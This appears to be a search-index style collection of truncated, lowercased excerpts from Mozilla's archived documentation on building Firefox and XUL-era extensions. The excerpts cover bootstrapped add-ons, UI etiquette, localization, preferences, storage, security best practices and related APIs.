extensions that add to the application's user interface relatively easy, it means that updating, installing, or disabling an extension requires an application restart. gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduces bootstrapped extensions. these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application. this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down. all the application does is call into this script file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it req...
...rade, and the method is install or startup. newversion string the version to be installed, if the reason is addon_upgrade or addon_downgrade, and the method is shutdown or uninstall. note: an add-on may be upgraded/downgraded at application startup, in this case the startup method reason is app_startup, and the oldversion property is not set. also be aware that in some circumstances an add-on upgrade/downgrade may occur without the uninstall method being called. add-on debugger from firefox 31 onwards, you can use the add-on debugger to debug bootstrapped add-ons. localization (l10n) localizing bootstrapped add-ons is very much the same since firefox 7, as that is when chrome.manifest compatibility landed. js and jsm files - using property files to localize your...
.... inside this folder must be a property file. inside the chrome.manifest file these locale must be defined. for example if you had a subfolder of en-us in locale folder your chrome.manifest file will have to contain: locale name_of_your_addon en-us locale/ here is an example: github :: l10n-properties - on startup of this add-on it will show a prompt saying usa or great britain, which ever it deems closest to your locale. you can test different locale by going to about:config and changing preference of general.useragent.locale to en-us and then to en-gb and disabling then re-enabling the add-on. xul and html files - using entities from dtd files many times html pages are used, however they cannot be localized with dtd files. there are three changes you must make: you have to change the...
Extension Etiquette - Archive of obsolete content
this article describes best practices when making extensions, including how to be kind to your users. it assumes that you are already familiar with building an extension. user interface tools menu items using the tool menu option gives the author the maximum amount of choices. whether the extensions should go at the top, bottom, or somewhere in between on the tools menu, the author always has a choice. ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascriptconsole,devtoolsseparator"). sub-menus should be used for single extensions needing multiple menu items, and a tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager). if possible, create a ...
...xtensions needing multiple menu items, and a tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager). if possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be called from the bookmarks menu. to maintain the default theme, avoid the use of an icon next to the menu items. other ui elements in general, toolbar items are very useful to end users because they can be removed or added to various toolbars as necessary. status bar items should only be added for extensions that need constant monitoring, such as ad blocking, page ranking, or cookie management. ...
... focus don't steal focus. it's not your extension's job to take focus from the web content. if the user loads a website and they ask for focus, they should get it. overriding their request isn't very nice. ...
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
ns_strlen(str); - #include "nscrt.h" + #include "nsmemory.h" + #include "nscrtglue.h" prunichar* anotherstr = (prunichar*) ns_alloc(100 * sizeof(prunichar)); - prunichar *str = nscrt::strdup(anotherstr); - nscrt::free(str); + prunichar *str = ns_strdup(anotherstr); + ns_free(str); linking for information about the correct libraries to link to when using frozen linkage, see xpcom glue. the nsmsgutils.h header for developing core mail/news code, the nsmsgutils.h header is being enhanced to fill in some of the gaps caused by the differences between the internal and external apis. these enhancements make it easier to write code that will transparently compile using either api. the list of enhancements fall in to three categories. changes to internal apis to make them compatible with the ex...
...r1, str2, comp) (str1).compare(str2, comp) #define last() endreading()[-1] #define setcharat(c, i) replace(i, 1, ch) #define ns_newisupportsarray(result) callcreateinstance(ns_supportsarray_contractid, static_cast<nsisupportsarray**>(result)); ideally we would switch to nsimutablearray, but in the mean time there's no point changing the same code twice. note: #include nsisupportsarray.h before nsmsgutils.h convenience methods that work using either api. msglowercaseequalsliteral(a8, literal) replaces (a8).lowercaseequalsliteral(literal). note that the external api provides lowercaseequalsliteral for nsastring, but not nsacstring. msgrfindchar(str, ch, len) replaces (str).rfindchar(ch, len) msgcompresswhitespace(str) replaces (str).compresswhitespace(). support for the optional parameters ...
...ence methods that work using either api. msglowercaseequalsliteral(a8, literal) replaces (a8).lowercaseequalsliteral(literal). note that the external api provides lowercaseequalsliteral for nsastring, but not nsacstring. msgrfindchar(str, ch, len) replaces (str).rfindchar(ch, len) msgcompresswhitespace(str) replaces (str).compresswhitespace(). support for the optional parameters is not provided. msgescapehtml(str) replaces nsescapehtml(str) msgescapehtml2(buffer, len) replaces nsescapehtml2(buffer, len). support for the other forms of nsescapehtml is not provided. ...
Adding windows and dialogs - Archive of obsolete content
if you use the dialog element as the document root instead of the more generic window element. you may be asking yourself what's the big deal about defining a simple xul window with an ok and maybe a cancel button. the dialogs we have covered in this section are very simple and shouldn't be too hard to implement manually using xul. well, it's more complicated than that. different operating systems order and position their buttons differently in their dialogs. there are also subtle aspects about window size, margins and paddings that are not the same for all systems, so you should avoid making dialogs from scratch or overriding the default dialog css styles. the dialog element handles all of this transparently. all you need to do is define which buttons you'll need and the actions associat...
...);" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> carefully read the specification of the dialog element. you'll see that you can choose from a wide variety of buttons, associate any action you need to them, override their labels, and even add completely customized extra buttons. all of this without having to worry about your dialog looking odd in some operating systems. the only constant rule is that clicking on ok and cancel will close the dialog unless your associated function returns false. you should avoid returning false, though, specially with the cancel button. dialogs in general should be easy to dismiss. your dialogs shouldn't have fixed dimensions because of potential localization problems. dialogs are sized to their contents and will generally wor...
...he keyboard is an accessibility requirement. you can do this in most firefox windows by pressing the tab key. each tab key press moves you to the next control in the window, giving it focus. in general, there's nothing you need to do in order to have good keyboard focus management. firefox will automatically focus the first input control in your window, and tab focus advances in the order the items are found in the xul document. if you have a very complex layout, or need customized tabbing behavior, you can set the tabindex attribute in the controls. you can also use the focus function to focus an element depending on events such as window load. you should do this carefully, to avoid having inaccessible controls. you can also use the -moz-user-focus css property to enable focusing of eleme...
Appendix D: Loading Scripts - Archive of obsolete content
ges, as well as its own quirks which may trap the unwary. below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases. the examples below which make use of the services global assume that you're previously imported the services.jsm module. as this module only exists on firefox 4 and other gecko 2-based platforms, the services in question will have to be manually loaded on other platforms. <script> tags xul script tags are traditionally the primary means of loading scripts for extension developers. these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed immediately and synch...
...o means to load scripts into a private or otherwise specific scope. speed: even if these scripts are loaded from a cache, only read and compile time are reduced. the scripts still need to execute all of their initialization code and allocate and initialize all of their data structures each time the script is loaded. loading: script loaded via script tags run in partially loaded documents. problems can ensue if the script immediately attempts to access dom nodes. this is easily resolved by deferring the work to a dynamically added onload hander. (a standalone xul window can use an onload attribute.) example the following overlay will load the script “overlay.js” from the same directory as the overlay file into the window which it overlays. the script will be read with the utf-8 encod...
...ting scope. security: sandbox objects are initialized with a security principal object, or otherwise a window or url from which to derive one. this means that evalinsandbox can be used to execute code with a specified privilege level rather than full chrome privileges. beyond this, the scope of the sandbox can be augmented or rarified to add or remove privileges as necessary. under ordinary circumstances, native objects passed out of sandboxes are wrapped in xraywrapper objects, which means that only native properties of these objects are directly exposed to privileged code. this behavior can be reversed by setting the wantsxrays parameter to false when constructing the sandbox. disadvantages performance: there are several significant performance disadvantages inherent in this method: ...
Custom XUL Elements with XBL - Archive of obsolete content
xbl is obvious: we only need to create a single node and set some attributes. we didn't need to create a whole xul structure that would require around 7 nodes every time a "person" is created. xbl provides the encapsulation we needed to manage these nodes as a unit. as a bonus, you should look into the usage of nsifilepicker to open a "open file" dialog in a way that looks native for all systems. now let's look into the xbl file, person.xml. <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xbl="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the bindings element is the root of the document, and it's a container for binding elements. notice how the default namespace for the document is xbl, and the xul namespace is defi...
...dren tag in your content to indicate the place where the child nodes will be inserted. the includes attribute gives you a little more flexibility with children, but it's rarely needed. one important thing to take into account is that you shouldn't use the id attribute in any content nodes. these nodes are part of the xul dom just like any other, and having an id attribute is bound to cause problems, given that you could have more than instance of your element in the same document and then multiple inner items with the same id. in order to work around this problem, the anonid attribute is used instead: <xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /> and then, in order to get a reference to the node from the js code in your binding, we use the getanonymouselem...
...de dependencies, so be it. but you can still keep some separation and versatility by using custom events to communicate to the outside world. this way you reduce your dependency on specific scripts, and your tag behaves more like the rest. just like fields and properties, methods are easy to invoke if you have a reference to the object that corresponds to the node. we have experienced problems when calling methods and setting properties on xbl nodes right after they are created and inserted to the document. this is likely due to some asynchronous operation related to node insertion. if you need to perform an operation to a node right after insertion, we recommend using a timeout to delay the operation (a timeout set to 0 works well). handlers the handlers and handler xbl elements a...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml attributes is, and should be, blank (ie. ...
...alse); } else { // note that the default namespace for xml attributes is, and should be, blank (ie. ...
...arget="_top">' + escapehtml(text) + '</a>\ </div>' it needs to be stressed that this method should not be used in new code and is only a temporary measure to shore up legacy code bases. safely generating event listeners and scripts it is occasionally necessary to generate event listeners and script fragments from dynamic content. great care must be taken in these situations. under no circumstances should code resembling 'callback("' + str + '")' appear anywhere in your add-on. closures by far the best way to create dynamic event listeners is to use closures. the following two code fragments are roughly equivalent: function clickify(elem, address) { elem.addeventlistener("click", function (event) { openwindow(address) }, false); } function clickify(elem, address) { elem.o...
Handling Preferences - Archive of obsolete content
...
...pendialog( "chrome://xulschoolhello/content/preferenceswindow.xul", "xulschoolhello-preferences-window", features); } this._preferenceswindow.focus(); }, this code is based on the code that opens preference windows from the add-ons manager. it does 2 things: check if the preferences window is already open. in that case, just give it focus. make the window modal in systems where the instant apply rule is not used. notice that this is a preference that users can switch, so checking for the operating system is not good enough. the general philosophy in non-windows systems is that a change in a preference applies immediately. preference windows don't have any buttons, or just an ok or close button. on windows, changing preferences don't apply until the user click ...
... at once. if you have many preferences, you can organize them using the prefpane element. this creates a visually appealing tabbed view, just like the one in the firefox preferences window. the prefpane is just a container, and you can have as many as you want. the tabs at the top of the window will need icons, and just like with toolbar buttons there are subtle differences between operating systems. the prefwindow allows you to use the preferences and preference elements, which facilitate preference handling. the preferences element is just a container, and you should have one per window, or one per prefpane if you have those. the element and its children are completely invisible, and their purpose is to list the preferences to be used in the window/pane. <preferences> <preference id=...
JavaScript Object Management - Archive of obsolete content
dow.settimeout( function() { window.alert(that._stringbundle.getstring("xulschoolhello.greeting.label")); }, 0); } the settimeout function executes the function in the first parameter, after a delay in miliseconds specified by the second parameter. in this case we set the delay to 0, which means the function should be executed as soon as possible. ...
... notice the way we send callback functions as parameters, and the use of an alternate reference for this which we always name that. this is all necessary due to a javascript feature (quirk would be a better word for it) called method binding. ...
......
Local Storage - Archive of obsolete content
« previousnext » note: you may rather be looking for dom storage (localstorage, etc.), unless you really are doing xul development. it is very common for an extension to require some kind of local persistent storage. we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files. it is strongly recommended that you keep your local files inside the firefox profile directory. otherwise you may run into problems if the same extension is installed in multiple profiles. the common practice is to create a directory with the name of your project at the root of the ...
...that logging is not done there for performance reasons. sqlite sqlite storage was introduced in firefox 2, and it's the preferred storage mechanism in firefox. it is the storage system used for the places api that manages bookmarks and history. it's also used for storing cookies, form inputs, and others. sqlite is a lightweight sql based storage system. it is ideal for embedding in other programs, and is currently in use in several popular applications. it's also the storage system we recommend for local storage in extensions. the storage page has a good explanation on how to use the sqlite api, so we won't go over that again. if you're unfamiliar with sql or if you're interested in knowing the restrictions in the syntax used by sqlite, you can read more at the sqlite site. you should c...
...es. so, be careful and plan for the future. there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all tables (through mozistorageconnection.createtable(), and initial data when your extension starts up for the first time. if you need a complex database this can be heavy in terms of time and code, but this will only happen once and this can be done in a lazy or asynchronous way. have an initial database file in your defaults directory that you can copy to the user's profile. this way you just need to do a file copy. you can reach the defaults directory at profd/extensions/your_extension_id.xpi/defaults for packed extensions or profd/extensions/your_extension_id/defaults ...
The Box Model - Archive of obsolete content
« previousnext » in order to master xul, you'll need to have a fairly good understanding of its box model. this is the system that determines how all elements are laid out visually in a xul document. it is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions. the xul box model is a significant improvement over the html layout model, which is mostly vertical. with xul you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design. any xul interface can be broken down into the following basic components: boxes text images alignment and flexibility widths and heights margins and paddings menus, ...
...idn't have any available horizontal space; the container element needs to either be flexible itself, or have a fixed width larger than its contents. text there are 2 xul elements that are typically used for displaying text: label and description. their behavior is nearly identical, but they are meant to be used in different situations. the label element should be used mainly for text in xul forms, such as the ones you see in the firefox options / preferences window. here's a typical usage of the label element: <label control="xulschoolhello-greeting-textbox" value="&xulschoolhello.typegreeting.label;" /> <textbox id="xulschoolhello-greeting-textbox" /> the label says something like "type a greeting message", and the textbox next to it allows the user to type the message. the contr...
...rlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> then you can have an html:p (paragraph) element where you insert the result of parsing the property string. you can easily parse xml using the domparser object. since xul documents are strict xml, you can only use strict xhtml in xul, and not the more loosely-formatted forms of html. exercise use the dom inspector extension to look into the firefox chrome. select toolbar buttons, menu items, textboxes, etc. and look into the box model, css style rules and computed style views. look into the computed width and height values, and how the paddings and margins affect the dimensions of xul nodes. modify the hello world extension so that it changes the appearance of fir...
Security best practices in extensions - Archive of obsolete content
this document is intended as a guide for developers to promote best practices in securing your extension. your goal is to keep your users safe. some items mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on mozilla add-ons. other items are recommendations. the difference will be clearly flagged. this is written from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey. web content handling in general the best way to ensure that the browser is not compromised when you load content is to make sure it does not have those privileges. a more detailed explanation of this process is in displaying web content in an extension without security is...
...vileged and non-privileged pages. regardless of where the document comes from, you can further restrict what it can do by applying properties to the document holder, known as the docshell. frame.docshell.allowimages = false; frame.docshell.allowjavascript = false; frame.docshell.allowplugins = false; there are more examples listed in the document listed above in this section. in certain circumstances you may want to run code in your extension, but you would like to give it restricted privileges. one of the best ways to do this is to use components.utils.evalinsandbox(). note that objects passed into the sandbox are restricted, but objects that come back out from it are not. refer to the document to find out how to avoid such pitfalls. for more information, refer to the evalinsandbox sec...
... provides users with a familiar interface for interacting with logins, via the firefox password manager. when users clear logins using the "clear recent history" option, it will include your extension's data. apis and other data handling web content is more than just pages, and more and more add-ons are interacting with web services via an application programming interface (api). many of the items talked about so far in this document apply in this sphere, but here are some additional tips: api providers should use the https protocol, which provides better protection for data passed over the network. json has become a popular data format for return formats for web services. be sure to read using native json to find out the correct way to handle it. apis can't be used with self-signed c...
Setting up an extension development environment - Archive of obsolete content
nabled = true. enables the use of the dump() statement to print to the standard console. see window.dump for more info. you can use nsiconsoleservice instead of dump() from a privileged script. javascript.options.strict = true. enables strict javascript warnings in the error console. note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. you can filter those with console2. devtools.chrome.enabled = true. this enables to run javascript code snippets in the chrome context of the scratchpad from the tools menu. don't forget to switch from content to browser as context. devtools.debugger.remote-enabled = true. this adds a "browser debugger" entry to the "web developer"...
...used to debug the javascript code of extensions. the devtools.chrome.enabled preference must also be set to true for the browser debugger to be enabled. devtools.debugger.prompt-connection = false. this prevents the browser debugger from prompting for connection permission every time. extensions.logging.enabled = true. this will send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. to see them, prevent the automatic restart by setting the environment no_em_restart to 1 before starting the application.) nglayout.debug.disable_xul_fastload = true. for gecko 2.0+ ...
... chrome list navigate and view files in chrome:// (firefox version, thunderbird version) chrome edit plus a user file ed...
Supporting search suggestions in search plugins - Archive of obsolete content
tra <url> element with its type attribute set to "application/x-suggestions+json". (this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box. see creating opensearch plugins for firefox to learn more about how to implement a sea...
...get request to the url specified by the <url> element. your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string. this allows firefox to verify that the suggestions match the current search term. completion list an array of suggested search terms. the array should be enclosed in square brackets. for example: ["term 1", "term 2", "term 3", "term 4"] descriptions this optional element is an array of descriptions for each of the suggestions in thecompletion list . these can be any additional information the search engine might want to return to be displayed by the browser, such as the number of results available for that search. descr...
...ion array are specified, leaving out the optional elements. your completion list can include as many suggestions as you like, although it should be kept manageable, given that the display will be updating live while the user is typing their search string. in addition, the method you use to select suggestions is entirely up to you. note: firefox requires that suggest requests complete within 500ms for suggestions to be displayed. if the request for the suggest url does not return data before 500ms have elapsed, no search suggestions will be shown. ...
Firefox addons developer guide - Archive of obsolete content
rted). there are a few things that could be done to make this fit the site better, and for general cleaning up: tables should use the "standard-table" css class so they're styled the same as those on the rest of mdc. there should be some introductory text on the table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme items in the content that need dealing with, but those are already known. these should use the previous, next, and prevnext templates to add quick routes to get from chapter to chapter. see the xul reference, for example. each chapter should be tagged appropriately, based on content, and every chapter should include the tag "firefox addons developer guide". instead of using footnotes, we should inli...
...cles directly. either way, these links should be added. these articles are all tagged as covering firefox 3.1 using the fx_minversion_header template, but i don't think that's the case. certainly appendix 2 doesn't care what version of firefox you're using, since it's just about open source software licenses. ...
...late, but i don't think that's the case. certainly appendix 2 doesn't care what version of firefox you're using, since it's just about open source software licenses. ...
Localizing an extension - Archive of obsolete content
« previousnext » this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves. if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample localizing strings in xul files create the ...
...le's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample localizing strings in xul files create the needed locale files each xul file that comprises the user interface for your extension should have a locale file in its locale directory. each locale file maps entity names referenced in the xul files to the strings themselves. the preference dialog, whose xul file is options.xul, has a corresponding options.dtd file that looks like this: <!entity options_window_title "stockwatcher 2 preferences"> <!entity options_symbol.label "stock to watch: "> the "options_window_title" entity maps to the string "stockwatcher 2 preferences", which is used as the title of the preference window. the stockwatcher2.dtd file cont...
...maps to the string "stockwatcher 2 preferences", which is used as the title of the preference window. the stockwatcher2.dtd file contains the mappings for the stockwatcher2.xul file: <!entity panel_loading "loading..."> <!entity menu_refresh_now.label "refresh now"> <!entity menu_apple.label "apple (aapl)"> <!entity menu_google.label "google (goog)"> <!entity menu_microsoft.label "microsoft (msft)"> <!entity menu_yahoo.label "yahoo (yhoo)"> update the xul files each xul file needs to reference its corresponding locale file. we also need to update the code to use the entities instead of the strings, so that the substitutions take place based on the currently active locale. to add a reference to the correct locale file for a given xul file, we need to add one line to the xul file. to op...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained. fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorithms. thanks to an obscure corner of the css specification, every design based on a precise layout of small images in table cells have become visual disasters just waiting to happen. all it takes is a modern browser and the right doctype, and kaboom! the components let's take a close look at the breeding ground for trouble, and why this is a problem. we start with a simple case, illustrated in figur...
...-box-contain: font replaced;} /* proposed for css3 */ there are other possible fixes contained within the current css3 working drafts, such as line-height-policy. obviously, the sooner a solution can be found and implemented, the happier authors everywhere will be. recommendations absent support for css3, it is difficult to provide a clear set of steps for fixing every instance of these problems, because the best solution for a given document will greatly depend on its structure. if your document uses transitional markup, make sure your doctype reflects that fact and does not trigger "standards" mode. this will prevent browsers from using standards-based rendering, and thus all the image-layout problems are avoided. if you're using strict markup, or you need for other reasons to be in "s...
...able cell with other images and text should have its vertical alignment changed as necessary, if at all. with a judicious mixture of approaches and a reduction of single-pixel image tricks-- which, in a css-capable browser, are unnecessary anyway-- it is quite possible to sidestep this strange effect of standards support. the best solution may be to ensure that images are always in a cell by themselves, thus allowing authors to make them block-level, but as always this will depend on the author's design. related links gecko's almost standards mode mozilla's quirks mode original document information author(s): eric a. meyer last updated date: march 21st, 2003 copyright © 2001-2003 netscape. ...
Autodial for Windows NT - Archive of obsolete content
ternet will trigger the autodial feature whenever an internet address cannot be reached. however, this service will won't function if you have a lan card installed, unless that particular address has been accessed in the past via a dialup connection. ...
...so, as more people move to windows xp from windows 98, the autodial suddenly stops working for them. in fact, it's not mozilla that is broken, it's that microsoft has changed the way things work from windows 98 to windows xp. ...
...n control panel | internet options | connections. if an address can't be reached, we trigger the autodial features from inside mozilla. if a default dialup connection is configured, we use that one. if more than one dialup connection is configured, and none is selected as the default, we display a list of dialup connections and let the user choose one. how to configure autodial on nt-based systems first, you will need to configure a dialup connection and make sure it works when triggered manually. if you are using a system with just a modem, the best approach is to configure the remote access auto connection service to automatically start. then enable autodial for a dialup connection: control panel | network connections | advanced | dialup preferences. this will handle autodial whenever a...
Structure of an installable bundle - Archive of obsolete content
d can normally only provide a chrome.manifest which registers the theme and a jar file. platform-specific files gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) removed support for platform-specific subdirectories, described below. instead, you need to use manifest flags, such as the os and abi flags, in your chrome manifest to specify components that should be loaded for specific platforms. for example: binary-component components/windows/mycomponent.dll abi=winnt_x86-msvc binary-component components/mac/mycomponent.dylib abi=darwin_x86-gcc3 binary-component components/mac/mycomponent64.dylib abi=darwin_x86_64-gcc3 binary-component components/linux/mycomponent.so abi=linux_x86-gcc3 this also means you can no longer have platform-specific preference files in your bundle. platfo...
...longer have platform-specific preference files in your bundle. platform-specific subdirectories: gecko 1.9.2.x and earlier note: platform-specific subdirectory support was removed in gecko 2.0. see the section platform-specific files to learn how to use platform-specific files. in some cases a single extension or application may wish to include binary component or plugins for multiple platforms, or theme authors might want to include multiple platform-specific jar files. to facilitate the first case, the extension/app loader has special sub-directories specifically for platform-specific files (starting with toolkit/gecko 1.8, firefox/thunderbird 1.5). the platform string is defined during the toolkit build process to a value unique for the combination of operating system, processor arch...
...ed from the subdirectory /platform/{platform string} if it exists. ...
Creating a Firefox sidebar extension - Archive of obsolete content
> <page id="sbemptysidebar" title="&emptysidebar.title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" > <vbox flex="1"> <label id="atest" value="&emptysidebar.title;" /> </vbox> </page> new extensions can be registered in the menus or popups, firefox uses overlays for extending menus. this is an separate xul file that specifies the location of menu items. the sidebar here is added to the view | sidebar menu. the overlay file is listed in example 4. example 4. chrome/content/firefoxoverlay.xul <?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <men...
...should appear. deployment now that we have a sidebar it is time to make it available to the world. installation requires the creation of an xpi file which is identified as extension in firefox. the xpi is a zip file containing the content, locale and manifest files. the content, locale and skin folders are packed into emptysidebar.jar, which should be created in the chrome folder. on unix systems: ~/src/emptysidebar$ cd chrome ~/src/emptysidebar/chrome$ zip -r emptysidebar.jar content/ locale/ on windows systems, use a zip tool to create emptysidebar.zip and then rename to emptysidebar.jar. since we are packaging the extension with a jar file, we need to update the chrome.manifest file to take to jar file into consideration: example 7. chrome.manifest content emptysidebar jar:chrom...
...r jar:chrome/emptysidebar.jar!/content/ locale emptysidebar en-us jar:chrome/emptysidebar.jar!/locale/ skin emptysidebar classic/1.0 jar:chrome/emptysidebar.jar!/skin/ overlay chrome://browser/content/browser.xul chrome://emptysidebar/content/firefoxoverlay.xul finally, create the xpi file. this is a zip file containing the jar file in the chrome folder and the manifest files. on unix systems: ~/src/emptysidebar/chrome$ cd .. ~/src/emptysidebar$ zip emptysidebar.xpi install.rdf chrome.manifest chrome/emptysidebar.jar open firefox and browse to the folder containing emptysidebar.xpi. click on the file and the extension installation window pops up. after a restart of firefox, the sidebar is installed. you can download the empty sidebar project to use as a basis for your own sidebars...
Creating regular expressions for a microsummary generator - Archive of obsolete content
r expressions. matching from the start of the url while this expression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages themselves. in order to restrict our regular expression to urls that start with our example url, we prepend a caret (^) to the regular expression: ^http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&item=280018439106 when a caret is the first character of a regular expression, it signifies that the expression must be found at the beginning of the string being matched. now that we've prepended a care...
...signifies that the expression must be found at the beginning of the string being matched. now that we've prepended a caret to our regular expression, it will only match urls that look like the example url right from the start. matching multiple urls but this expression still only matches the url for a single auction item page. it won't work with any other auction item. to make it match other items, we have to remove the unique parts of it that match the specific item, leaving behind only those parts which are common to all items. to identify which parts are unique and which are common, let's look at the urls of several other auction item pages: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=130017517168 http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=290019763032 http://cgi.eba...
...d accommodate the possibility of variation in the query parameters. a named query parameter is a string of the form <name>=<value>, where <name> and <value> are arbitrary strings. in our url, "item=280018439106" is the only such parameter. but urls can contain multiple named parameters separated by ampersands (&), and the parameters can appear in any order, so even though the "item" parameter seems to be necessary, it might not appear right next to "viewitem". for example, the following is an equally valid url for the same auction item: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&foo=bar&item=170019463424 to accommodate these variations in query parameters, we can insert a period followed by an asterisk (.*) between "viewitem&" and "item=" to match any characters that might appear be...
Style System Overview - Archive of obsolete content
). there is one rule node on the path from the root rule node to the style context's rule node for each rule that the element matches. style context api the style context api allows data to be obtained through a set of structs (see nsstylestruct.h). a struct for a style context can be obtained through nsistylecontext::getstyledata. nsiframe::getstyledata does the same thing for the frame's mstylecontext member, and the global ::getstyledata is a typesafe helper that doesn't require the style struct id. this style struct is always const, and should always be declared as such (evil old-style casts often used with the non-typesafe forms sometimes hide this error), since the struct may be shared with other elements. the rule tree as we call nsrulewalker::forward on all the rules tha...
... doesn't own the struct. (the context tree can be deep.) each rule node has a per-struct set of “none bits” that say that the rule node's set of rules (the rules on the path to the root) specify nothing non-inherited for the struct. style data cached in rule tree if the data struct doesn't depend on the parent style context in any ways (inheritance, perhaps by omission; percentages and ems when computed), we can cache it in the rule tree. when we compute a data struct, we cache it as high as possible in the rule tree -- on the lowest of the rule nodes on the path to the root that specified something for that struct. a rule node that uses the same struct as its parent is marked with a “dependent bit” for that struct, which tells nsrulenode::getstyledata to just get the struct ...
...ight to a frame-change, instead. bugs due to failure to call nsiframe::didsetstylecontext. style sheet addition and removal handled in pres shell. presshell::reconstructstyledata calls framemanager::computestylechangefor (reresolve) and then processes the frame-change list. rebuilds rule tree if stylesheet was removed to avoid dangling pointers (and perhaps aliasing that would cause problems). otherwise we'd have to walk rule tree and compare each rule node to every rule in the sheet (o(rules * rule-nodes)). when rebuilding rule tree, we have to clear cached style contexts from xul menus and trees. style rule changes handling of style rule changes is done in frame constructor (called from style set, called from pres shell, which is a document observer) and in the pres shell. co...
Twitter - Archive of obsolete content
and not much applies here that doesn't apply there. example usage tweeting jetpack.lib.twitter.statuses.update({ status: "o frabjous day!" }); firefox will prompt for a username and password if the user is not already authenticated with twitter. ...
...icated with twitter. ...
...errobj) console.error(xhr.responsetext) }); friends of a user jetpack.lib.twitter.statuses.friends({ id: "mozlabs", page: 3, success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); trends jetpack.lib.twitter.trends({ success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); searching jetpack.lib.twitter.search({ q: "#jetpack", lang: "ja", rpp: 10, page: 5, since_id: 1337, success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); ...
jspage - Archive of obsolete content
assname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],1...
